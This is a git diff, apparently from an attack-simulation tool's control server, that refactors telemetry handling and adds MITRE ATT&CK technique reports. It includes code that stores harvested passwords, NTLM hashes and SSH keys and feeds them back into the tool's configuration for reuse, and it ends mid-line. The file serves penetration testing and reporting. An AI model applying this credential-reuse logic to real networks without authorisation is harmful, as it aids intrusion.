index 279547dc1..dc6a7d512 100644
--- a/monkey/monkey_island/cc/resources/telemetry.py
+++ b/monkey/monkey_island/cc/resources/telemetry.py
@@ -1,6 +1,5 @@
 import json
 import logging
-import copy
 from datetime import datetime
 
 import dateutil
@@ -9,12 +8,8 @@ from flask import request
 
 from monkey_island.cc.auth import jwt_required
 from monkey_island.cc.database import mongo
-from monkey_island.cc.services import mimikatz_utils
-from monkey_island.cc.services.config import ConfigService
-from monkey_island.cc.services.edge import EdgeService
 from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.encryptor import encryptor
-from monkey_island.cc.services.wmi_handler import WMIHandler
+from monkey_island.cc.services.telemetry.processing.processing import process_telemetry
 from monkey_island.cc.models.monkey import Monkey
 
 __author__ = 'Barak'
@@ -48,21 +43,15 @@ class Telemetry(flask_restful.Resource):
     def post(self):
         telemetry_json = json.loads(request.data)
         telemetry_json['timestamp'] = datetime.now()
+        telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host}
 
         # Monkey communicated, so it's alive. Update the TTL.
         Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl()
 
         monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+        NodeService.update_monkey_modify_time(monkey["_id"])
 
-        try:
-            NodeService.update_monkey_modify_time(monkey["_id"])
-            telem_category = telemetry_json.get('telem_category')
-            if telem_category in TELEM_PROCESS_DICT:
-                TELEM_PROCESS_DICT[telem_category](telemetry_json)
-            else:
-                logger.info('Got unknown type of telemetry: %s' % telem_category)
-        except Exception as ex:
-            logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True)
+        process_telemetry(telemetry_json)
 
         telem_id = mongo.db.telemetry.insert(telemetry_json)
         return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@@ -89,199 +78,3 @@ class Telemetry(flask_restful.Resource):
                         x['data']['credentials'][new_user] = x['data']['credentials'].pop(user)
 
         return objects
-
-    @staticmethod
-    def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
-        dst_ip = telemetry_json['data']['machine']['ip_addr']
-        dst_domain_name = telemetry_json['data']['machine']['domain_name']
-        src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
-        dst_node = NodeService.get_monkey_by_ip(dst_ip)
-        if dst_node is None:
-            dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
-
-        return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
-
-    @staticmethod
-    def process_tunnel_telemetry(telemetry_json):
-        monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
-        if telemetry_json['data']['proxy'] is not None:
-            tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
-            NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
-        else:
-            NodeService.unset_all_monkey_tunnels(monkey_id)
-
-    @staticmethod
-    def process_state_telemetry(telemetry_json):
-        monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
-        if telemetry_json['data']['done']:
-            NodeService.set_monkey_dead(monkey, True)
-        else:
-            NodeService.set_monkey_dead(monkey, False)
-
-    @staticmethod
-    def process_exploit_telemetry(telemetry_json):
-        edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
-        Telemetry.encrypt_exploit_creds(telemetry_json)
-        telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started'])
-        telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished'])
-
-        new_exploit = copy.deepcopy(telemetry_json['data'])
-
-        new_exploit.pop('machine')
-        new_exploit['timestamp'] = telemetry_json['timestamp']
-
-        mongo.db.edge.update(
-            {'_id': edge['_id']},
-            {'$push': {'exploits': new_exploit}}
-        )
-        if new_exploit['result']:
-            EdgeService.set_edge_exploited(edge)
-
-        for attempt in telemetry_json['data']['attempts']:
-            if attempt['result']:
-                found_creds = {'user': attempt['user']}
-                for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
-                    if len(attempt[field]) != 0:
-                        found_creds[field] = attempt[field]
-                NodeService.add_credentials_to_node(edge['to'], found_creds)
-
-    @staticmethod
-    def process_scan_telemetry(telemetry_json):
-        edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
-        data = copy.deepcopy(telemetry_json['data']['machine'])
-        ip_address = data.pop("ip_addr")
-        domain_name = data.pop("domain_name")
-        new_scan = \
-            {
-                "timestamp": telemetry_json["timestamp"],
-                "data": data
-            }
-        mongo.db.edge.update(
-            {"_id": edge["_id"]},
-            {"$push": {"scans": new_scan},
-             "$set": {"ip_address": ip_address, 'domain_name': domain_name}}
-        )
-
-        node = mongo.db.node.find_one({"_id": edge["to"]})
-        if node is not None:
-            scan_os = new_scan["data"]["os"]
-            if "type" in scan_os:
-                mongo.db.node.update({"_id": node["_id"]},
-                                     {"$set": {"os.type": scan_os["type"]}},
-                                     upsert=False)
-            if "version" in scan_os:
-                mongo.db.node.update({"_id": node["_id"]},
-                                     {"$set": {"os.version": scan_os["version"]}},
-                                     upsert=False)
-
-    @staticmethod
-    def process_system_info_telemetry(telemetry_json):
-        users_secrets = {}
-        monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
-        if 'ssh_info' in telemetry_json['data']:
-            ssh_info = telemetry_json['data']['ssh_info']
-            Telemetry.encrypt_system_info_ssh_keys(ssh_info)
-            if telemetry_json['data']['network_info']['networks']:
-                # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
-                Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
-            Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
-        if 'credentials' in telemetry_json['data']:
-            creds = telemetry_json['data']['credentials']
-            Telemetry.encrypt_system_info_creds(creds)
-            Telemetry.add_system_info_creds_to_config(creds)
-            Telemetry.replace_user_dot_with_comma(creds)
-        if 'mimikatz' in telemetry_json['data']:
-            users_secrets = mimikatz_utils.MimikatzSecrets. \
-                extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
-        if 'wmi' in telemetry_json['data']:
-            wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
-            wmi_handler.process_and_handle_wmi_info()
-        if 'aws' in telemetry_json['data']:
-            if 'instance_id' in telemetry_json['data']['aws']:
-                mongo.db.monkey.update_one({'_id': monkey_id},
-                                           {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}})
-
-    @staticmethod
-    def add_ip_to_ssh_keys(ip, ssh_info):
-        for key in ssh_info:
-            key['ip'] = ip['addr']
-
-    @staticmethod
-    def process_trace_telemetry(telemetry_json):
-        # Nothing to do
-        return
-
-    @staticmethod
-    def replace_user_dot_with_comma(creds):
-        for user in creds:
-            if -1 != user.find('.'):
-                new_user = user.replace('.', ',')
-                creds[new_user] = creds.pop(user)
-
-    @staticmethod
-    def encrypt_system_info_creds(creds):
-        for user in creds:
-            for field in ['password', 'lm_hash', 'ntlm_hash']:
-                if field in creds[user]:
-                    # this encoding is because we might run into passwords which are not pure ASCII
-                    creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
-
-    @staticmethod
-    def encrypt_system_info_ssh_keys(ssh_info):
-        for idx, user in enumerate(ssh_info):
-            for field in ['public_key', 'private_key', 'known_hosts']:
-                if ssh_info[idx][field]:
-                    ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
-
-    @staticmethod
-    def add_system_info_creds_to_config(creds):
-        for user in creds:
-            ConfigService.creds_add_username(user)
-            if 'password' in creds[user]:
-                ConfigService.creds_add_password(creds[user]['password'])
-            if 'lm_hash' in creds[user]:
-                ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
-            if 'ntlm_hash' in creds[user]:
-                ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
-
-    @staticmethod
-    def add_system_info_ssh_keys_to_config(ssh_info):
-        for user in ssh_info:
-            ConfigService.creds_add_username(user['name'])
-            # Public key is useless without private key
-            if user['public_key'] and user['private_key']:
-                ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
-                                           user['name'], user['ip'])
-
-    @staticmethod
-    def encrypt_exploit_creds(telemetry_json):
-        attempts = telemetry_json['data']['attempts']
-        for i in range(len(attempts)):
-            for field in ['password', 'lm_hash', 'ntlm_hash']:
-                credential = attempts[i][field]
-                if len(credential) > 0:
-                    attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
-
-    @staticmethod
-    def process_post_breach_telemetry(telemetry_json):
-        mongo.db.monkey.update(
-            {'guid': telemetry_json['monkey_guid']},
-            {'$push': {'pba_results': telemetry_json['data']}})
-
-    @staticmethod
-    def process_attack_telemetry(telemetry_json):
-        # No processing required
-        pass
-
-
-TELEM_PROCESS_DICT = \
-    {
-        'tunnel': Telemetry.process_tunnel_telemetry,
-        'state': Telemetry.process_state_telemetry,
-        'exploit': Telemetry.process_exploit_telemetry,
-        'scan': Telemetry.process_scan_telemetry,
-        'system_info': Telemetry.process_system_info_telemetry,
-        'trace': Telemetry.process_trace_telemetry,
-        'post_breach': Telemetry.process_post_breach_telemetry,
-        'attack': Telemetry.process_attack_telemetry
-    }
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 89a384e9d..92184c1c5 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,7 +1,9 @@
 import logging
+
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.attack.technique_reports \
-    import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082, T1145, T1065
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
+from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
+from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
 from monkey_island.cc.services.attack.attack_config import AttackConfig
 from monkey_island.cc.database import mongo
 
@@ -19,7 +21,22 @@ TECHNIQUES = {'T1210': T1210.T1210,
               'T1086': T1086.T1086,
               'T1082': T1082.T1082,
               'T1145': T1145.T1145,
-              'T1065': T1065.T1065}
+              'T1065': T1065.T1065,
+              'T1105': T1105.T1105,
+              'T1035': T1035.T1035,
+              'T1129': T1129.T1129,
+              'T1106': T1106.T1106,
+              'T1107': T1107.T1107,
+              'T1188': T1188.T1188,
+              'T1090': T1090.T1090,
+              'T1041': T1041.T1041,
+              'T1222': T1222.T1222,
+              'T1005': T1005.T1005,
+              'T1018': T1018.T1018,
+              'T1016': T1016.T1016,
+              'T1021': T1021.T1021,
+              'T1064': T1064.T1064
+              }
 
 REPORT_NAME = 'new_report'
 
diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py
index f2ef0dceb..c75678fdc 100644
--- a/monkey/monkey_island/cc/services/attack/attack_schema.py
+++ b/monkey/monkey_island/cc/services/attack/attack_schema.py
@@ -40,6 +40,23 @@ SCHEMA = {
                     "necessary": False,
                     "description": "Pass the hash (PtH) is a method of authenticating as a user without "
                                    "having access to the user's cleartext password."
+                },
+                "T1105": {
+                    "title": "T1105 Remote file copy",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": True,
+                    "description": "Files may be copied from one system to another to stage "
+                                   "adversary tools or other files over the course of an operation."
+                },
+                "T1021": {
+                    "title": "T1021 Remote services",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": False,
+                    "depends_on": ["T1110"],
+                    "description": "An adversary may use Valid Accounts to log into a service"
+                                   " specifically designed to accept remote connections."
                 }
             }
         },
@@ -54,7 +71,7 @@ SCHEMA = {
                     "necessary": False,
                     "description": "Adversaries may use brute force techniques to attempt access to accounts "
                                    "when passwords are unknown or when password hashes are obtained.",
-                    "depends_on": ["T1210"]
+                    "depends_on": ["T1210", "T1021"]
                 },
                 "T1003": {
                     "title": "T1003 Credential dumping",
@@ -91,6 +108,22 @@ SCHEMA = {
                     "necessary": True,
                     "description": "Adversaries may abuse BITS to download, execute, "
                                    "and even clean up after running malicious code."
+                },
+                "T1107": {
+                    "title": "T1107 File Deletion",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": True,
+                    "description": "Adversaries may remove files over the course of an intrusion "
+                                   "to keep their footprint low or remove them at the end as part "
+                                   "of the post-intrusion cleanup process."
+                },
+                "T1222": {
+                    "title": "T1222 File permissions modification",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": True,
+                    "description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
                 }
             }
         },
@@ -98,6 +131,33 @@ SCHEMA = {
             "title": "Execution",
             "type": "object",
             "properties": {
+                "T1035": {
+                    "title": "T1035 Service execution",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": False,
+                    "description": "Adversaries may execute a binary, command, or script via a method "
+                                   "that interacts with Windows services, such as the Service Control Manager.",
+                    "depends_on": ["T1210"]
+                },
+                "T1129": {
+                    "title": "T1129 Execution through module load",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": False,
+                    "description": "The Windows module loader can be instructed to load DLLs from arbitrary "
+                                   "local paths and arbitrary Universal Naming Convention (UNC) network paths.",
+                    "depends_on": ["T1078", "T1003"]
+                },
+                "T1106": {
+                    "title": "T1106 Execution through API",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": False,
+                    "description": "Adversary tools may directly use the Windows application "
+                                   "programming interface (API) to execute binaries.",
+                    "depends_on": ["T1210"]
+                },
                 "T1059": {
                     "title": "T1059 Command line interface",
                     "type": "bool",
@@ -113,6 +173,14 @@ SCHEMA = {
                     "necessary": True,
                     "description": "Adversaries can use PowerShell to perform a number of actions,"
                                    " including discovery of information and execution of code.",
+                },
+                "T1064": {
+                    "title": "T1064 Scripting",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": True,
+                    "description": "Adversaries may use scripts to aid in operations and "
+                                   "perform multiple actions that would otherwise be manual.",
                 }
             }
         },
@@ -125,9 +193,43 @@ SCHEMA = {
                     "type": "bool",
                     "value": True,
                     "necessary": False,
+                    "depends_on": ["T1016", "T1005"],
                     "description": "An adversary may attempt to get detailed information about the "
                                    "operating system and hardware, including version, patches, hotfixes, "
                                    "service packs, and architecture."
+                },
+                "T1018": {
+                    "title": "T1018 Remote System Discovery",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": True,
+                    "description": "Adversaries will likely attempt to get a listing of other systems by IP address, "
+                                   "hostname, or other logical identifier on a network for lateral movement."
+                },
+                "T1016": {
+                    "title": "T1016 System network configuration discovery",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": False,
+                    "depends_on": ["T1005", "T1082"],
+                    "description": "Adversaries will likely look for details about the network configuration "
+                                   "and settings of systems they access or through information discovery"
+                                   " of remote systems."
+                }
+            }
+        },
+        "collection": {
+            "title": "Collection",
+            "type": "object",
+            "properties": {
+                "T1005": {
+                    "title": "T1005 Data from local system",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": False,
+                    "depends_on": ["T1016", "T1082"],
+                    "description": "Sensitive data can be collected from local system sources, such as the file system "
+                                   "or databases of information residing on the system prior to Exfiltration."
                 }
             }
         },
@@ -142,8 +244,37 @@ SCHEMA = {
                     "necessary": True,
                     "description": "Adversaries may conduct C2 communications over a non-standard "
                                    "port to bypass proxies and firewalls that have been improperly configured."
+                },
+                "T1090": {
+                    "title": "T1090 Connection proxy",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": True,
+                    "description": "A connection proxy is used to direct network traffic between systems "
+                                   "or act as an intermediary for network communications."
+                },
+                "T1188": {
+                    "title": "T1188 Multi-hop proxy",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": True,
+                    "description": "To disguise the source of malicious traffic, "
+                                   "adversaries may chain together multiple proxies."
                 }
             }
         },
+        "exfiltration": {
+            "title": "Exfiltration",
+            "type": "object",
+            "properties": {
+                "T1041": {
+                    "title": "T1041 Exfiltration Over Command and Control Channel",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": True,
+                    "description": "Data exfiltration is performed over the Command and Control channel."
+                }
+            }
+        }
     }
 }
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index a92758cbc..2b49f264d 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -12,16 +12,16 @@ class T1003(AttackTechnique):
     scanned_msg = ""
     used_msg = "Monkey successfully obtained some credentials from systems on the network."
 
-    query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
-                                                                  # $gt: {} checks if field is not an empty object
-                                                                  {'data.credentials': {'$gt': {}}}]}
+    query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}},
+                                                       # $gt: {} checks if field is not an empty object
+                                                       {'data.credentials': {'$gt': {}}}]}
 
     @staticmethod
     def get_report_data():
         data = {'title': T1003.technique_title()}
         if mongo.db.telemetry.count_documents(T1003.query):
-            status = ScanStatus.USED
+            status = ScanStatus.USED.value
         else:
-            status = ScanStatus.UNSCANNED
+            status = ScanStatus.UNSCANNED.value
         data.update(T1003.get_message_and_status(status))
         return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
new file mode 100644
index 000000000..b84fe4a6f
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
@@ -0,0 +1,34 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1005(AttackTechnique):
+
+    tech_id = "T1005"
+    unscanned_msg = "Monkey didn't gather any sensitive data from local system."
+    scanned_msg = ""
+    used_msg = "Monkey successfully gathered sensitive data from local system."
+
+    query = [{'$match': {'telem_category': 'attack',
+                         'data.technique': tech_id}},
+             {'$lookup': {'from': 'monkey',
+                          'localField': 'monkey_guid',
+                          'foreignField': 'guid',
+                          'as': 'monkey'}},
+             {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+                           'status': '$data.status',
+                           'gathered_data_type': '$data.gathered_data_type',
+                           'info': '$data.info'}},
+             {'$addFields': {'_id': 0,
+                             'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+                             'monkey': 0}},
+             {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}},
+             {"$replaceRoot": {"newRoot": "$_id"}}]
+
+    @staticmethod
+    def get_report_data():
+        data = T1005.get_tech_base_data()
+        data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
new file mode 100644
index 000000000..43d7c42b0
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
@@ -0,0 +1,35 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1016(AttackTechnique):
+
+    tech_id = "T1016"
+    unscanned_msg = "Monkey didn't gather network configurations."
+    scanned_msg = ""
+    used_msg = "Monkey gathered network configurations on systems in the network."
+
+    query = [{'$match': {'telem_category': 'system_info'}},
+             {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
+                           'networks': '$data.network_info.networks',
+                           'netstat': '$data.network_info.netstat'}},
+             {'$addFields': {'_id': 0,
+                             'netstat': 0,
+                             'networks': 0,
+                             'info': [
+                                 {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]},
+                                  'name': {'$literal': 'Network connections (netstat)'}},
+                                 {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]},
+                                  'name': {'$literal': 'Network interface info'}},
+                             ]}}]
+
+    @staticmethod
+    def get_report_data():
+        network_info = list(mongo.db.telemetry.aggregate(T1016.query))
+        status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value
+        data = T1016.get_base_data_by_status(status)
+        data.update({'network_info': network_info})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
new file mode 100644
index 000000000..a955f6cc9
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
@@ -0,0 +1,39 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1018(AttackTechnique):
+
+    tech_id = "T1018"
+    unscanned_msg = "Monkey didn't find any machines on the network."
+    scanned_msg = ""
+    used_msg = "Monkey found machines on the network."
+
+    query = [{'$match': {'telem_category': 'scan'}},
+             {'$sort': {'timestamp': 1}},
+             {'$group': {'_id': {'monkey_guid': '$monkey_guid'},
+                         'machines': {'$addToSet': '$data.machine'},
+                         'started': {'$first': '$timestamp'},
+                         'finished': {'$last': '$timestamp'}}},
+             {'$lookup': {'from': 'monkey',
+                          'localField': '_id.monkey_guid',
+                          'foreignField': 'guid',
+                          'as': 'monkey_tmp'}},
+             {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}},
+             {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname',
+                                        'ips': '$monkey_tmp.ip_addresses'},
+                             'monkey_tmp': 0}}]
+
+    @staticmethod
+    def get_report_data():
+        scan_info = list(mongo.db.telemetry.aggregate(T1018.query))
+        if scan_info:
+            status = ScanStatus.USED.value
+        else:
+            status = ScanStatus.UNSCANNED.value
+        data = T1018.get_base_data_by_status(status)
+        data.update({'scan_info': scan_info})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
new file mode 100644
index 000000000..d22583359
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
@@ -0,0 +1,51 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
+
+
+__author__ = "VakarisZ"
+
+
+class T1021(AttackTechnique):
+    tech_id = "T1021"
+    unscanned_msg = "Monkey didn't try to login to any remote services."
+    scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed."
+    used_msg = "Monkey successfully logged into remote services on the network."
+
+    # Gets data about brute force attempts
+    query = [{'$match': {'telem_category': 'exploit',
+                         'data.attempts': {'$not': {'$size': 0}}}},
+             {'$project': {'_id': 0,
+                           'machine': '$data.machine',
+                           'info': '$data.info',
+                           'attempt_cnt': {'$size': '$data.attempts'},
+                           'attempts': {'$filter': {'input': '$data.attempts',
+                                                    'as': 'attempt',
+                                                    'cond': {'$eq': ['$$attempt.result', True]}
+                                                    }
+                                        }
+                           }
+              }]
+
+    scanned_query = {'telem_category': 'exploit',
+                     'data.attempts': {'$elemMatch': {'result': True}}}
+
+    @staticmethod
+    def get_report_data():
+        attempts = []
+        if mongo.db.telemetry.count_documents(T1021.scanned_query):
+            attempts = list(mongo.db.telemetry.aggregate(T1021.query))
+            if attempts:
+                status = ScanStatus.USED.value
+                for result in attempts:
+                    result['successful_creds'] = []
+                    for attempt in result['attempts']:
+                        result['successful_creds'].append(parse_creds(attempt))
+            else:
+                status = ScanStatus.SCANNED.value
+        else:
+            status = ScanStatus.UNSCANNED.value
+        data = T1021.get_base_data_by_status(status)
+        data.update({'services': attempts})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
new file mode 100644
index 000000000..2750c953c
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1035(UsageTechnique):
+    tech_id = "T1035"
+    unscanned_msg = "Monkey didn't try to interact with Windows services."
+    scanned_msg = "Monkey tried to interact with Windows services, but failed."
+    used_msg = "Monkey successfully interacted with Windows services."
+
+    @staticmethod
+    def get_report_data():
+        data = T1035.get_tech_base_data()
+        data.update({'services': T1035.get_usage_data()})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
new file mode 100644
index 000000000..1342b646e
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.models.monkey import Monkey
+from common.utils.attack_utils import ScanStatus
+
+__author__ = "VakarisZ"
+
+
+class T1041(AttackTechnique):
+
+    tech_id = "T1041"
+    unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
+    scanned_msg = ""
+    used_msg = "Monkey exfiltrated info trough command and control channel."
+
+    @staticmethod
+    def get_report_data():
+        monkeys = list(Monkey.objects())
+        info = [{'src': monkey['command_control_channel']['src'],
+                 'dst': monkey['command_control_channel']['dst']}
+                for monkey in monkeys if monkey['command_control_channel']]
+        if info:
+            status = ScanStatus.USED.value
+        else:
+            status = ScanStatus.UNSCANNED.value
+        data = T1041.get_base_data_by_status(status)
+        data.update({'command_control_channel': info})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index 328c11112..ef15dd9fd 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -27,8 +27,8 @@ class T1059(AttackTechnique):
         cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
         data = {'title': T1059.technique_title(), 'cmds': cmd_data}
         if cmd_data:
-            status = ScanStatus.USED
+            status = ScanStatus.USED.value
         else:
-            status = ScanStatus.UNSCANNED
+            status = ScanStatus.UNSCANNED.value
         data.update(T1059.get_message_and_status(status))
         return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
new file mode 100644
index 000000000..0b1b05489
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
@@ -0,0 +1,18 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1064(UsageTechnique):
+    tech_id = "T1064"
+    unscanned_msg = "Monkey didn't run scripts or tried to run and failed."
+    scanned_msg = ""
+    used_msg = "Monkey ran scripts on machines in the network."
+
+    @staticmethod
+    def get_report_data():
+        data = T1064.get_tech_base_data()
+        script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query()))
+        data.update({'scripts': script_usages})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
index fd34e80e9..7d8ceb93e 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
@@ -17,4 +17,4 @@ class T1065(AttackTechnique):
     def get_report_data():
         port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1]
         T1065.used_msg = T1065.message % port
-        return T1065.get_base_data_by_status(ScanStatus.USED)
+        return T1065.get_base_data_by_status(ScanStatus.USED.value)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index fa65a66c2..623d157ae 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -35,10 +35,10 @@ class T1075(AttackTechnique):
         successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
         data.update({'successful_logins': successful_logins})
         if successful_logins:
-            status = ScanStatus.USED
+            status = ScanStatus.USED.value
         elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
-            status = ScanStatus.SCANNED
+            status = ScanStatus.SCANNED.value
         else:
-            status = ScanStatus.UNSCANNED
+            status = ScanStatus.UNSCANNED.value
         data.update(T1075.get_message_and_status(status))
         return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
index 79020c048..bc2645bb9 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
@@ -12,7 +12,7 @@ class T1082(AttackTechnique):
     scanned_msg = ""
     used_msg = "Monkey gathered system info from machines in the network."
 
-    query = [{'$match': {'telem_category': 'system_info_collection'}},
+    query = [{'$match': {'telem_category': 'system_info'}},
              {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
                            'aws': '$data.aws',
                            'netstat': '$data.network_info.netstat',
@@ -32,7 +32,9 @@ class T1082(AttackTechnique):
                               'name': {'$literal': 'SSH info'}},
                              {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
